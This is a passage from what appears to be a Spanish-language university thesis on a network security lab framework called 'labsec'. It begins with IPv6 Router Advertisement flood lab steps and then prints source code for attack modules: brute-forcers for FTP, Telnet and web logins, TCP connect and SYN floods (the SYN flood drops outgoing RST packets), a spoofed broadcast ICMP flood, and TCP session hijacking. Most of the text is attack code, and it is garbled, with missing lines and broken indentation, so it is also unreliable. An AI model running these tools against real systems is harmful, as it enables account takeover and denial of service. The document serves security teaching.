los paquetes icmp echo-request y echo- reply de forma duplicada? (observar que
los paquetes duplicados tienen el TTL decrementado en 1)
Laboratorio Nº 3: Ataque de DoS basado Flood Router Advertisement
Un equipo con una dirección IPv6 link-local no puede rutear su tráfico si no tiene una
dirección IPv6 de sitio o global, es por eso que los routers, a través del mecanismo
SLAAC, envían mensajes RA (Router Advertisement) indicando a los equipos cómo
deben configurase para tener conectividad a través de ellos.
Como en el segmento de red puede haber más de un router, los equipos clientes IPv6
permiten configurar tantas direcciones como mensajes RA reciban de los diferentes

routers. Esto puede ser aprovechado por un atacante para realizar una denegación de
servicio sobre un host, al inundar el segmento de red con mensajes RA usando
diferentes prefijos, de manera que el host victima procese los mensajes y configure una
dirección IPv6 con cada prefijo anunciado, elevando así su consumo de CPU hasta
bloquearse.
Ataque Flood Router Advertisement usando labsec Framework:

load ipv6/raflood para cargar el módulo raflood.
2. Usando el comando options se puede ver los parámetros a configurar. Para este
módulo no se requiere configurar parámetros obligatorios.
3. Antes de ejecutar el ataque, en el host VICTIMA, ejecutar el comando ifconfig
y registrar las IPv6 que se tienen configuradas. También asegurase que el host
víctima tiene habilitada la configuración automática de IPv6.
4. Desde el host atacante ejecutar el comando run en el intérprete de labsec.
5. Esperar que el ataque de inundación RA actúe por 1 minuto y luego detenerlo
presionando Ctrl-C.
6. En el equipo víctima, ejecutar nuevamente el comando ifconfig. Observar que
la cantidad de direcciones configuradas incrementó considerablemente.
7. ¿Las IPs configuradas en el ataque permanecen configuradas después de
reiniciar el host VICTIMA?

ANEXO 2 – Código Fuente

Implementación del instalador
#Nombre de script: setup.py
import sys
import os
import time
def version():
try:
version = sys.version
if version.find("3.5")!= -1 or version.find("3.6")!= -1
or version.find("3.7")!= -1 or version.find("3.8")!= -1 or
version.find("3.9")!= -1:
print("Version de python3 [OK]")
else:
print("Labsec requiere Python 3.5 o superior. Por
favor actualice la versión.")
sys.exit(0)
except Exception as e:
print("Labsec requiere Python 3.5 o superior. Por favor
actualice su versión.")
print(e)
def configuracion():
try:
ruta = os.getcwd()
#print(ruta)
ruta = os.getcwd()
rutaarchivo = ruta + '/extras/labsec'
archivo = open(rutaarchivo , 'w')
codigoCliente = '''
echo labsec requiere permiso de administrador...
cd {}
sudo python3 labsec.py
clear
'''.format(ruta)
archivo.write(codigoCliente)
archivo.close()
os.system("sudo chmod 777 " + rutaarchivo)
os.system("cp extras/labsec /usr/local/bin")

os.system("sudo chmod 777 /usr/local/bin/labsec")
print("Error al intentar configurar Labsec.")
print(e)
def dependencias():
try:
os.system("sudo apt-get install python3-setuptools")
os.system("sudo apt-get -y install python3-pip")
os.system("sudo apt-get install zenmap")
os.system("sudo pip3 install scapy-python3==0.23")
os.system("sudo pip3 install colorama")
os.system("sudo pip3 install platform")
Anexo 2 – Código Fuente 119

os.system("sudo pip3 install python-nmap")

os.system("sudo pip3 install dnspython3==1.14.0")
os.system("sudo pip3 install python-nmap")
print("Error al intentar instalar dependencias.")
print(e)
if __name__ == "__main__":
version()
configuracion()
dependencias()
Implementación del intérprete de comandos
#Nombre de script: labsec.py

from colorama import Fore, Back, Style, init
import comandos
import marquesina
import sys
import os
import readline
os.system("clear")
marquesina.marca()
def main():
while True:
try:
comando = input(Fore.RESET + Style.BRIGHT +

"labsec"+ Fore.RED + ">> " + Fore.RESET + Style.NORMAL)
l_comando = list(comando.split(" "))
if l_comando[0] == "load":
try:
comandos.load(l_comando[1])
l_comando[0]= "" # sirve solamente para
este while
except IndexError:
print("El comando 'load' requiere que
proporcione el nombre de un modulo: load <module>")
except Exception as er:
print("ERROR: ", er)
elif l_comando[0] == "help":

try:
if l_comando[1].isspace() or
l_comando[1]=="":
comandos.Help("generico")
else:
comandos.Help(l_comando[1])
except IndexError:
comandos.Help("generico")

elif l_comando[0] == "clear":

comandos.limpiar()
elif l_comando[0] == "exec":

comandos.terminal(l_comando)
elif l_comando[0] == "modules":

comandos.modules()
elif l_comando[0] == "exit":

sys.exit()
elif l_comando[0] == "":
continue
else:
print("Comando no valido!. Use el comando
{}help{} para obtener mas información".format(Fore.YELLOW,
Fore.RESET))
except KeyboardInterrupt: #si el usuario interrumpe desde

teclado, vuelve al prompt principal
print("")
print("ERROR critico: ", e)
if __name__ == "__main__":
main()
#--------------------------------------------------------------------
#Nombre de script: comandos.py
import importlib
import marquesina
import platform
import os
import sys
if platform.system() == "Windows":
init() #para colorear en windows
def load(nombre_modulo):
"""El comando 'load' permite cargar modulos de forma dinamica
en tiempo de ejecucion.
Los modulos se encuentran ubicados en la carpeta llamada
'modulos'
ejemplo de uso: load nombre_del_modulo
"""
#nombre_modulo = "modulos/nombre_archivo"
try:
mod_namefile = nombre_modulo.split("/")
comparador_archivo = (mod_namefile[0],mod_namefile[1])
nombre_modulo =
"modulos."+comparador_archivo[0]+"."+comparador_archivo[1]
# ejemplo: #nombre_modulo = "modulos.scanner.ports"
try:

modulo = importlib.import_module(nombre_modulo)
obtener = getattr(modulo,
str(mod_namefile[1].capitalize()))()
modulo = obtener
orden = ""
nombre_m = nombre_modulo.split('.')
nombre_modulo = str(nombre_m[1]) +"/"
+str(nombre_m[2])
while orden != "back":
if modulo:
orden = input(Style.BRIGHT +
"labsec(" + Fore.RED + nombre_modulo + Fore.RESET +")>> " +
Style.NORMAL)
comandos = orden.split(" ")
if comandos[0] != "back":
if comandos[0] == "clear":
limpiar()
elif comandos[0] == "exec":

terminal(comandos)
elif comandos[0] ==
"modules":
modules()
elif comandos[0] == "load":

#del modulo
try:
load(comandos[1])
#break
except IndexError:
print("El
comando 'load' requiere que proporcione el nombre de un modulo: load
<module>")
elif comandos[0] == "exit":

sys.exit()
elif comandos[0] == "help":
#Help("generico")
try:
if
comandos[1].isspace() or comandos[1]=="":
help_commnd("generico")
else:
help_commnd(comandos[1])
except IndexError:
help_commnd("generico")
else:
try: #comandos
internos
if comandos[0]
== "run":

#print("ddd", comandos[0])("")
getattr(modulo, comandos[0])()
elif comandos[0]
== "options":
if
len(comandos)>1:
getattr(modulo, comandos[0])(comandos[1:])
else:
getattr(modulo, comandos[0])("generic")
else:
getattr(modulo, comandos[0])(comandos[1:])
except IndexError:
print("El
comando requiere de parametros. \nUtilice el comando {}{}help {}{}{}
para obtener ayuda.".format(Style.BRIGHT ,Fore.CYAN, comandos[0],
Style.NORMAL ,Fore.RESET))
if orden != "":
print("El
comando ingresado no es valido. \nUtilice el comando {}{}help{}{}
para obtener ayuda.\n{}.".format(Style.BRIGHT ,Fore.CYAN,
Style.NORMAL ,Fore.RESET, e))
else:
continue
del modulo # libero memoria, eliminando el modulo
luego de usarlo
except ImportError:
print("ERROR de importación!\nModulo no encontrado.
Utilice el comando {}modules{} para listar los modulos
disponibles.".format(Fore.YELLOW, Fore.RESET))
except IndexError:
print("ERROR IndexError!!\nModulo no encontrado.
# except SyntaxError:
# print("Error en el modulo: El archivo debe llamarse
igual que la clase!")
print("Error: ", type(e), e)
except IndexError:
print("ERROR de importación!!!\nModulo no encontrado.
def Help(arg):
if arg == "generico":
print(Fore.YELLOW + "\nComandos globales:" + Fore.RESET)
print("""
help Imprime este menú de ayuda
load <module> Carga el módulo seleccionado

modules Muestra una lista de todos los módulos

disponibles
clear Limpia el terminal
exec <shell command> <args> Ejecuta un comando shell
exit Salir de labsec framework
Para más información acerca de un comando escriba: {}help

<nombre_del_comando> {}| ejemplo: {}help load{}
""".format(Fore.YELLOW, Fore.RESET,Fore.YELLOW,
Fore.RESET))
elif arg == "__inter_":
print("COMANDOS internos del")
elif arg == "load":
print("""El comando 'load' permite cargar módulos de
forma dinámica en tiempo de ejecución. Recibe como parámetro el
nombre del módulo a cargar.
Sintaxis: {}load <modulo>

{}ejemplo de uso: {}load scanner/scan{}
""".format(Fore.YELLOW,Fore.RESET,Fore.YELLOW, Fore.RESET))
elif arg == "exit":
print("El comando 'exit' permite terminar el programa y
salir del framework")
elif arg == "exec":
print("""El comando 'exec' permite ejecutar comandos
shell desde el intérprete.
Sintaxis: {}exec <shell command> <args>

{}ejemplos de uso: {}exec ping 8.8.8.8
exec ifconfig
exec arp -a{}
elif arg == "modules":

print("El comando 'modules' muestra una lista de los
módulos disponibles.")
#print("Los módulos se ubican en la ruta:
{}{}/modulos".format(Fore.YELLOW, os.getcwd()))
elif arg == "clear":

print("El comando 'clear' limpia el terminal.")
elif arg == "help":

Help("generico")
else:
print("No se encontró información para el comando
'{}'".format(arg))
def help_commnd(arg):
if arg == "generico":
print(Fore.YELLOW + "\nComandos globales:" + Fore.RESET)
print("""
help Imprime este menú de ayuda
load <module> Carga el módulo seleccionado
modules Muestra una lista de todos los módulos
disponibles
clear Limpia el terminal
exec <shell command> <args> Ejecuta un comando en la shell
exit Salir de labsec framework""")

print(Fore.YELLOW + "\nComandos del modulo:" +

Fore.RESET)
print("""
set <option name> <value> Setea una opción para el módulo
seleccionado
options Imprime las opciones para un módulo
run Corre el módulo seleccionado con los valores
de opciones seteados
back Salir del módulo actual
Para más información acerca de un comando escriba: {}help

<nombre_del_comando> {}| ejemplo: {}help load{}
""".format(Fore.YELLOW, Fore.RESET,Fore.YELLOW,
Fore.RESET))
elif arg == "load":

print("""El comando 'load' permite cargar módulos de
forma dinámica en tiempo de ejecución. Recibe como parámetro el
nombre del módulo a cargar.
Sintaxis: {}load <modulo>

{}ejemplo de uso: {}load scanner/scan{}
elif arg == "exit":
print("El comando 'exit' permite terminar el programa y
salir del framework")
elif arg == "exec":
print("""El comando 'exec' permite ejecutar comandos
shell desde el intérprete.
Sintaxis: {}exec <comando_shell> <args>

{}ejemplos de uso: {}exec ping 8.8.8.8
exec ifconfig
exec arp -a{}
elif arg == "modules":

print("El comando 'modules' muestra una lista de los
módulos disponibles.")
#print("Los módulos se ubican en la ruta:
{}{}/modulos".format(Fore.YELLOW, os.getcwd()))
elif arg == "set":

print("El comando 'set' permite setear los parámetros
mostrados en options. Requiere como argumento el nombre de la opción
a setear y el valor asignado a esa opción.")
elif arg == "options":

print("El comando 'options' lista los parámetros que se
requieren configurar en el módulo.")
elif arg == "run":

print("El comando 'run' jecuta el módulo seleccionado y
procesa las opciones seteadas.")
elif arg == "back":

print("El comando 'back' permite salir del módulo
actual.")
elif arg == "help":

Help("generico")
else:
print("No se encontró información para el comando
'{}'".format(arg))
def modules():
try:
def lsdir(ruta = os.getcwd()):

return [arch.name for arch in os.scandir(ruta) if
arch.is_dir()]
#modulos = []
print()
lsdir = lsdir("modulos")
lsdir.sort()
lsfile = []
for direct in lsdir:

if direct != "__init__" and direct[0]!="_":
print(Fore.CYAN + Style.BRIGHT + " " +
direct+"/" + Fore.RESET + Style.NORMAL)
def lsfile(ruta = os.getcwd()):

return [arch.name for arch in
os.scandir(ruta) if arch.is_file()]
lsfile = lsfile("modulos/" + direct)

lsfile.sort()
for lista in lsfile:

mod = lista
if mod != "__init__" and mod[0]!="_"
and mod.find(".py") != -1:
mod = lista[:len(lista)-3]
print(" " + mod)
#modulos.append(mod)
print()
print("ERROR: ",e)
def terminal(args):
try:
cadena = ""
args.pop(0)
for i in args:
cadena = cadena + str(i) + " "
os.system(cadena)
except IndexError:
print("Error! en los parametros, 'exec' requiere que
proporcione un comando shell.")
print("ERROR: ",e)
def limpiar():

os.system("cls")
else:
os.system("clear")
marquesina.marca()
#--------------------------------------------------------------------
#Nombre de script: marquesina.py
from colorama import Fore, Back, Style

from colorama import init
init() #para windows
def marca():
print(Fore.RED + Style.BRIGHT
+"*******************************************************************
*************************")
print(Fore.YELLOW + """
_ _ ___ ___
_
| | __ _| |__/ __| ___ __ | __| _ __ _ _ __ _____ __
_____ _ _| |__
| |__/ _` | '_ \__ \/ -_) _| | _| '_/ _` | ' \/ -_) V V /
_ \ '_| / /
|____\__,_|_.__/___/\___\__| |_||_|
\__,_|_|_|_\___|\_/\_/\___/_| |_\_\\
Laboratorio de Redes - Universidad Nacional de Tucumán

""")
print(Fore.RED +
"********************************************************************
************************" + Style.NORMAL + Fore.RESET)
#--------------------------------------------------------------------

Implementación de Módulos
Módulos Bruteforce
#Nombre de script: bfftp.py
#Descripción: Realiza un ataque de fuerza bruta por diccionario al servicio FTP
import ftplib
#from optparse import OptionParser
#import traceback
import os
import threading
from colorama import init, Fore, Back, Style
import subprocess
class Bfftp():
target = ""
userslist = "users.txt"
passwordlist = "pass.txt"
def __info(self):
print("""
OPTIONS INFO
[+] target: IP del equipo victima (daemon telnet)
Ejemplos de seteo Comentarios

----------------------------- -----------------------------
[-] set target 192.168.0.105 IP del equipo victima
[+] userslist: Diccionario de usuarios

----------------------------- -----------------------------
[-] set userslist users.txt Diccionario de usuarios
[+] passwordlist: Diccionario de passwords

----------------------------- -----------------------------
[-] set passwordlist pass.txt Diccionario de passwords
""")
def options(self, info=""):

if info[0] == "info":
self.__info()
else:
print("""
Opciones del Modulo:
Nombre Valor Descripción

------ ----- -----------
target {:<15} IP del equipo victima (servidor FTP)
userslist {:<15} Diccionario de usuarios
passwordlist {:<15} Diccionario de passwords
Para más información acerca de las opciones escriba el comando:

{}options info{}

""".format(self.target,self.userslist, self.passwordlist,
Fore.YELLOW, Fore.RESET))
def set(self,args):
try:
if args[0] == "target":
self.target = args[1]
print("[+] target:",args[1])
elif args[0] == "userslist":
self.userslist = args[1]
print("[+] userslist:",args[1])
elif args[0] == "passwordlist":
self.passwordlist = args[1]
print("[+] passwordlist:",args[1])
else:
print("'{}' no es una opción valida".format(args[0]))
print("ERROR!",e)
print("El comando debe tener la siguiente sintaxis: set
<option name> <value>")
def run(self): #args es una lista de parametros

try:
comando = 'python3 modulos/bruteforce/_bfftp.py ' +

self.target + ' ' + self.userslist + ' ' + self.passwordlist
def proceso():
subprocess.call(['xterm', '-e', comando])
hilo = threading.Thread(target=proceso)
hilo.setDaemon(True)
hilo.start()
print("ERROR!",e)
#--------------------------------------------------------------------
#Nombre de script: _bfftp.py
import ftplib
import sys
import os
try:
target = sys.argv[1]
userslist = sys.argv[2]
passwordlist = sys.argv[3]
except Exception as par:
print("Error en parametros:", par)
input("Presione cualquier tecla para salir...")
def ftpBrute(user, password, target):

try:
ftp = ftplib.FTP(target)
estrado = str(ftp.login(user, password.strip("\r\n")))
print( "Usuario: {:<15} Password: {:<15}
[CORRECTO]".format(user,password))
print(estrado,"\n")
ftp.close()
return 1
except Exception as error:


[Incorrecto]".format(user,password))
return 0
try:
users = open("modulos/bruteforce/"+userslist, "r")
find=False
print("Iniciando ataque de fuerza bruta [target:
{}]\n".format(target))
for user in users:
if find:
break
passwords = open("modulos/bruteforce/" + passwordlist, "r")
user = user.strip()
for password in passwords:
password = password.strip()
try:
resp = ftpBrute(user, password, target)
if resp ==1:
break
except Exception as re:
print("Error(23): ", re)
passwords.close()
if resp==1:
break
asdf = input("Presione cualquier tecla para salir...")
except Exception as erer:
print("Error:", erer)
#--------------------------------------------------------------------
#Nombre de script: bftelnet.py
#Descripción: Realiza un ataque de fuerza bruta por diccionario al servicio TELNET
import os
import time
import threading
import subprocess
class Bftelnet():
target = ""
userslist = "users.txt"
passwordlist = "pass.txt"
def __info(self):
print("""
OPTIONS INFO
[+] target: IP del equipo victima (daemon telnet)

----------------------------- ---------------------------
--
[-] set target 192.168.0.105 IP del equipo victima
[+] userslist: Diccionario de usuarios

----------------------------- ---------------------------
--
[-] set userslist users.txt Diccionario de usuarios
[+] passwordlist: Diccionario de passwords

----------------------------- ---------------------------
--
[-] set passwordlist pass.txt Diccionario de passwords
""")

self.__info()
else:
print("""

------ ----- -----------
target {:<15} IP del equipo victima (daemon telnet)
userslist {:<15} Diccionario de usuarios
passwordlist {:<15} Diccionario de passwords

{}options info{}
""".format(self.target,self.userslist,
self.passwordlist, Fore.YELLOW, Fore.RESET))
def set(self,args):
try:
elif args[0] == "userslist":
self.userslist = args[1]
print("[+] userslist:",args[1])
elif args[0] == "passwordlist":
self.passwordlist = args[1]
print("[+] passwordlist:",args[1])
else:
print("'{}' no es una opción
valida".format(args[0]))
print("ERROR!",e)
print("El comando debe tener la siguiente sintaxis:
set <option name> <value>")

try:
comando = 'python3 modulos/bruteforce/_bftelnet.py

' + self.target + ' ' + self.userslist + ' ' + self.passwordlist
def proceso():
hilo.start()
print("ERROR!",e)

#--------------------------------------------------------------------
#Nombre de script: _bftelnet.py
import getpass
import telnetlib
import os
import sys
userslist = sys.argv[2]
passwordlist = sys.argv[3]
users = open("modulos/bruteforce/"+userslist, "r")

find=False
print("Iniciando ataque de fuerza bruta [target:
{}]\n".format(target))
for user in users:
if find:
break
passwords = open("modulos/bruteforce/" + passwordlist, "r")
user = user.strip()
for password in passwords:
password = password.strip()
tn = telnetlib.Telnet(target)
a=tn.read_until(b'login:')
tn.write(user.encode('ascii') + b'\n')
if password:
b=tn.read_until(b'Password: ')
tn.write(password.encode('ascii') + b'\n')
l =tn.read_until(b'\n')
print(l.decode('UTF-8').strip())
l2 =tn.read_until(b'Login incorrect', timeout=4.5)
if l2.decode('UTF-8').strip() == 'Login incorrect':
[Incorrecto]".format(user,password))
tn.close()
else:
[CORRECTO]".format(user,password))
tn.write(b'exit\n')
tn.close()
find=True
break
passwords.close()
#--------------------------------------------------------------------
#Nombre de script: bfweblogin.py
#Descripción: Realiza un ataque de fuerza bruta por diccionario a páginas web que usan un
sistema de login.
import requests
import time
import os
import threading
import sys

#print(sys.argv)
varuser = sys.argv[2]
varpass = sys.argv[3]
user= sys.argv[4]
wordlist = sys.argv[5]
additionalp = sys.argv[6]
flags = sys.argv[7]
if sys.argv[8]=='None':
iface = None
else:
iface = sys.argv[8]
addt= dict()
flagsdict = dict()
tupla = ()
lista = []
badera=False
try:
wordlist2 = open('modulos/bruteforce/'+wordlist,"r")
parametros = additionalp.split(',')
flagparm = flags.split(',')
#print(parametros)
for p in parametros:
p2 = p.split(':')
#print("p2: ",p2)
addt[p2[0].strip(" ")] = p2[1].strip(" ")
for f in flagparm:
f2 = f.split(':')
#print("f2: ",f2)
#flagsdict[f2[0].strip(" ")] = f2[1].strip(" ")
lista.append((f2[0].strip(" "), f2[1].strip(" ")))
#print(lista)
print("Ataque en progreso..")
tinicial = time.time()
for word in wordlist2.readlines():
data ={varuser: user, varpass: word.strip("\n")}

data.update(addt)
#print(data)
r = requests.post(target, data=data,
allow_redirects=False)
for tup in lista:

if r.headers[tup[0]]==tup[1]:
pass
else:
badera=False
if badera:
print(target)
print("[",r.status_code,"]","Usuario:",user,"--
","Password:", word.strip("\n") + " [CORRECTA]", end=" ")

break
else:
print(target)
","Password:", word.strip("\n"))
print()
badera=True
tfinal = time.time()
tiempo = tfinal - tinicial # Devuelve un objeto timedelta
print("\n\nTiempo de ataque: %.2f segundos." %(tiempo))
rr=input("")
print("ERROR:", e)
input("espereeee")
#--------------------------------------------------------------------
#Nombre de script: _bfweblogin.py
import requests
import time
import os
import threading
import sys
#print(sys.argv)
varuser = sys.argv[2]
varpass = sys.argv[3]
user= sys.argv[4]
wordlist = sys.argv[5]
additionalp = sys.argv[6]
flags = sys.argv[7]
iface = None
else:
iface = sys.argv[8]
addt= dict()
flagsdict = dict()
tupla = ()
lista = []
badera=False
try:
wordlist2 = open('modulos/bruteforce/'+wordlist,"r")
parametros = additionalp.split(',')
flagparm = flags.split(',')
#print(parametros)
for p in parametros:
p2 = p.split(':')
#print("p2: ",p2)
addt[p2[0].strip(" ")] = p2[1].strip(" ")
for f in flagparm:
f2 = f.split(':')
#print("f2: ",f2)

#flagsdict[f2[0].strip(" ")] = f2[1].strip(" ")

lista.append((f2[0].strip(" "), f2[1].strip(" ")))
#print(lista)
print("Ataque en progreso..")
for word in wordlist2.readlines():
data ={varuser: user, varpass: word.strip("\n")}

data.update(addt)
#print(data)
r = requests.post(target, data=data,
allow_redirects=False)
for tup in lista:

if r.headers[tup[0]]==tup[1]:
pass
else:
badera=False
if
badera:
print(target)
","Password:", word.strip("\n") + " [CORRECTA]", end=" ")
break
else:
print(target)
","Password:", word.strip("\n"))
print()
badera=True
print("\n\nTiempo de ataque: %.2f segundos." %(tiempo))
rr=input("")
print("ERROR:", e)
input("espere")
#--------------------------------------------------------------------
Módulos DoS
#Nombre de script: floodconnect.py
# Descripción: Establece conexiones TCP de forma masiva a un servicio hasta saturarlo,
impidiendo a un usuario legitimo establecer conexión.

import threading
import subprocess
import os
class Floodconnect():
target = ""
port = ""

def __info(self):
print("""
OPTIONS INFO
[+] target: Dirección ip del host objetivo.

----------------------------- ---------------------------
--
[-] set target 192.168.1.105 Dirección ip del objetivo
[+] port: Puerto objetivo.

----------------------------- ---------------------------
--
[-] set port 23 Puerto objetivo
""")

self.__info()
else:
print("""

------ ----- -----------
target {:<15} Dirección ip del host objetivo
port {:<15} Puerto objetivo

{}options info{}
""".format(self.target, self.port, Fore.YELLOW,
Fore.RESET))
def set(self,args):
try:
elif args[0] == "port":
self.port = args[1]
print("[+] port:",args[1])
else:
print("ERROR!",e)
def run(self):
try:
comando = 'python3 modulos/dos/_floodconnect.py ' +

self.target + ' ' + self.port
def proceso():
subprocess.run(['xterm', '-e', comando])

hilo.start()
print(e)
input()
#--------------------------------------------------------------------
#Nombre de script: _floodconnect.py
import socket
import time
import sys
import os
target = sys.argv[1] #args[0] ip que suplanto

port = sys.argv[2] #args[1]
x=-1
tn = list()
print("Ataque en pregreso...")
while True:
try:
x+=1
tn.append(socket.socket(socket.AF_INET,
socket.SOCK_STREAM))
tn[x].connect((target, int(port)))
except KeyboardInterrupt as e2:

print("INTERRUMPIDO POR TECLADO")
for i, socket in enumerate(tn):
socket.close()
break
os.system("clear")
print("Ataque en pregreso...")
print("Las conexiones estan siendo rechazadas.")
print()
print("Presione Ctrl-C para detener el ataque.")
#time.sleep(0.2)
#--------------------------------------------------------------------
#Nombre de script: floodtcpsyn.py
#Descripción: Realiza un envío masivo de paquetes TCP SYN pero sin establecer conexión.

import threading
import subprocess
import os
class Floodtcpsyn():
target=""
iface = None
port =""
def __info(self):

print("""
OPTIONS INFO

----------------------------- ---------------------------
--
[+] port: Puerto objetivo.

----------------------------- ---------------------------
--
[-] set port 23 Puerto objetivo
""")

self.__info()
else:
print("""

------ ----- -----------
target {:<15} IP de la victima
port {:<15} Puerto objetivo
iface {:<15} Interface de red

{}options info{}
""".format(self.target, self.port, str(self.iface),
def set(self,args):
try:
if args[0] == "iface":
self.iface = args[1]
print("[+] iface:",args[1])
elif args[0] == "target":
elif args[0] == "port":
self.port = args[1]
print("[+] port:",args[1])
else:
print("ERROR!",e)
def run(self):
try:
comando = 'python3 modulos/dos/_floodtcpsyn.py ' +

self.target + ' ' + self.port + ' ' + str(self.iface)

def proceso():
hilo.start()
print(e)
input()
#--------------------------------------------------------------------
#Nombre de script: _ floodtcpsyn.py
import logging
import sys
import os
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
try:
from scapy.all import *
except:
print("Necesitas tener scapy")
sys.exit(0)
target_IP = sys.argv[1]
port = sys.argv[2]
if sys.argv[3] == 'None':
iface = None
else:
iface = sys.argv[3]
os.system("iptables -A OUTPUT --protocol tcp --tcp-flags ALL RST -j

DROP")
conf.verb = 0
print("Inundacion TCP SYN en progreso.")
while True:
try:
for source_port in range(1024, 65535):

#eth= Ether(src=macrand)
IP1 = IP(dst = target_IP)
TCP1 = TCP(sport = source_port, dport = int(port),
flags = "S")
pkt = IP1 / TCP1
send(pkt)#, inter = 0.2)
except KeyboardInterrupt:
print("Deteniendo el ataque...")
os.system("iptables -F")
time.sleep(3)
break
print(e)
#--------------------------------------------------------------------
#Nombre de script: floodicmp.py
#Descripción: Realiza un envío masivo de paquetes ICMP para degradar el rendimiento de la
red.


import threading
import subprocess
import os
class Floodicmp():
target=""
iface = None
def __info(self):
print("""
OPTIONS INFO

----------------------------- ---------------------------
--
""")

self.__info()
else:
print("""

------ ----- -----------
target {:<15} IP de la victima
iface {:<15} Interface de red

{}options info{}
""".format(self.target, str(self.iface),
def set(self,args):
try:
elif args[0] == "target":
else:
print("ERROR!",e)
def run(self):
try:
comando = 'python3 modulos/dos/_floodicmp.py ' +

self.target + ' ' + str(self.iface)
def proceso():


hilo.start()
print(e)
input()
#--------------------------------------------------------------------
#Nombre de script: _ floodicmp.py
import logging
import sys
import time
try:
except:
sys.exit(0)
target_IP = sys.argv[1]
conf.verb = 0 #Que no muestre datos en pantalla
iface = None
else:
iface = sys.argv[2]
broadcast = '255.255.255.255'
carga = "a"*1400
print("Inundacion ICMP en progreso.")

while True:
try:
eth= Ether(dst="ff:ff:ff:ff:ff:ff")
IP1 = IP(src= target_IP, dst = broadcast)
ICMP1 = ICMP(type=8)
pkt = eth/IP1/ICMP1/carga
sendp(pkt)
print("Deteniendo el ataque...")
time.sleep(3)
break
print(e)
#--------------------------------------------------------------------
Módulo Hijacking
#Nombre de script: hjtcp.py
# Descripción: Permite realizar el secuestro de una conexión TCP.

import threading

import subprocess
import os
class Hjtcp():
ipsrc = ""
ipdst = ""
dport= ""
sport= ""
seq = ""
ack = ""
iface = None
def __info(self):
print("""
OPTIONS INFO
[+] ipsrc: Dirección ip del objetivo1.

----------------------------- ---------------------------
--
[-] set ipsrc 192.168.1.105 Dirección ip del objetivo1 (ip
suplantada)
[+] ipdst: Dirección ip del objetivo2.

----------------------------- ---------------------------
--
[-] set ipdst 192.168.1.108 Dirección ip del objetivo2
""")

self.__info()
else:
print("""

------ ----- -----------
ipsrc {:<15} Dirección ip del objetivo1 (ip
suplantada)
ipdst {:<15} Dirección ip del objetivo2
sport {:<15} Puerto origen
dport {:<15} Puerto destino
seq {:<15} Numero de secuencia
ack {:<15} Numero de acuse de recibo
iface {:<15} Interfaz de red

{}options info{}
""".format(self.ipsrc, self.ipdst,self.sport,
self.dport, self.seq, self.ack, str(self.iface), Fore.YELLOW,
Fore.RESET))
def set(self,args):
try:
if args[0] == "ipsrc":

self.ipsrc = args[1]
print("[+] ipsrc:",args[1])
elif args[0] == "ipdst":
self.ipdst = args[1]
print("[+] ipdst:",args[1])
elif args[0] == "sport":
self.sport = args[1]
print("[+] sport:",args[1])
elif args[0] == "dport":
self.dport = args[1]
print("[+] dport:",args[1])
elif args[0] == "seq":
self.seq = args[1]
print("[+] seq:",args[1])
elif args[0] == "ack":
self.ack = args[1]
print("[+] ack:",args[1])
elif args[0] == "iface":
else:
print("ERROR!",e)
def run(self):
comando = 'python3 modulos/hijacking/_hjtcp.py ' +

self.ipsrc + ' ' + self.ipdst +' ' + self.sport + ' ' + self.dport +'
' + self.seq + ' ' + self.ack + ' ' + str(self.iface)
def proceso():
hilo.start()
#--------------------------------------------------------------------
#Nombre de script: _ hjtcp.py
import sys
import logging
import threading
import os
try:
except:
print("Necesitas tener scapy.")
sys.exit(0)
ipsrc = sys.argv[1] #args[0] ip que suplanto

ipdst = sys.argv[2] #args[1]
sport = sys.argv[3] #args[1]
dport = sys.argv[4] #args[1]
seq = sys.argv[5]
ack = sys.argv[6]

iface= None
else:
iface= sys.argv[7]
conf.verb=0
###Construyendo el paquete
capa_IP = IP(src=ipsrc, dst=ipdst)

capa_TCP = TCP(sport=int(sport), dport= int(dport), seq=int(seq),
ack=int(ack), flags=24)
print("CHAT - [PC-
ATACANTE]\n******************************************")
payload = input(">> ")
payloadB = bytes(payload+'\n', 'utf-8')
paquete=capa_IP/capa_TCP/payloadB
#print(paquete)
os.system("echo 0 > /proc/sys/net/ipv4/ip_forward") # desactivo la
retransmision
b=sr1(paquete, timeout = 0.4)
# print(type(b))
# print(b)
def recuperaSeq_Ack(pkt):
#print("recuperaSeq_Ack")
if IP in pkt:
ip_src= pkt[IP].src
ip_dst= pkt[IP].dst
if TCP in pkt:
tcp_sport = pkt[TCP].dport
tcp_dport = pkt[TCP].sport
tcp_seq = pkt[TCP].seq
tcp_ack = pkt[TCP].ack
tcp_flags= pkt[TCP].flags
#print("IP(src:" + str(pkt[IP].src) + ", dst:" +
str(pkt[IP].dst) + ")\nTCP(sport:" + str(pkt[TCP].sport) + ", dport:"
+ str(pkt[TCP].dport) +", seq:"+ str(pkt[TCP].seq) + ", ack:"+
str(pkt[TCP].ack) +", flags: "+ str(pkt[TCP].flags) +")\n")
if tcp_flags == 24:
capa_IP = IP(src=ip_dst, dst=ip_src)
capa_TCP = TCP(sport=int(tcp_sport), dport=
int(tcp_dport), seq=int(tcp_ack), ack=int(tcp_seq) +
len(pkt.load.decode('UTF-8').strip()) + 1, flags=16)
paquete=capa_IP/capa_TCP
send(paquete, iface= iface)
capa_TCP = TCP(sport=int(tcp_sport), dport=

int(tcp_dport), seq=int(tcp_ack), ack=int(tcp_seq) +
len(pkt.load.decode('UTF-8').strip()) + 1, flags=24)
payload = input(">> ")
payloadB = bytes(payload+'\n', 'utf-8')
paquete=capa_IP/capa_TCP/payloadB
b=sr1(paquete, iface= iface, timeout = 0.2)

#print("IP--(src:" + str(pkt[IP].src) + ", dst:" +

str(pkt[IP].dst) + ")\nTCP(sport:" + str(pkt[TCP].sport) + ", dport:"
+ str(pkt[TCP].dport) +", seq:"+ str(pkt[TCP].seq) + ", ack:"+
str(pkt[TCP].ack) +", flags: "+ str(pkt[TCP].flags) +")\n")
#sniff(filter="src {} and dst {} and tcp".format(ipsrc, ipdst), prn=

recuperaSeq_Ack)
sniff(filter="src {} and dst {}".format(ipdst, ipsrc), iface=iface,
prn= recuperaSeq_Ack)
#--------------------------------------------------------------------
Módulos Scanner
#Nombre de script: sniff.py
# Descripción: Es un sniffer para monitorear la comunicación entre dos hosts.

import threading
import subprocess
class Sniff():
target1 = ""
target2 = ""
iface = None
def __info(self):
print("""
OPTIONS INFO
[+] target1: Dirección ip del objetivo1.

----------------------------- ---------------------------
--
[-] set target1 192.168.1.105 Dirección ip del objetivo1
[+] target2: Dirección ip del objetivo2.

----------------------------- ---------------------------
--
[-] set target2 192.168.1.108 Dirección ip del objetivo2
""")
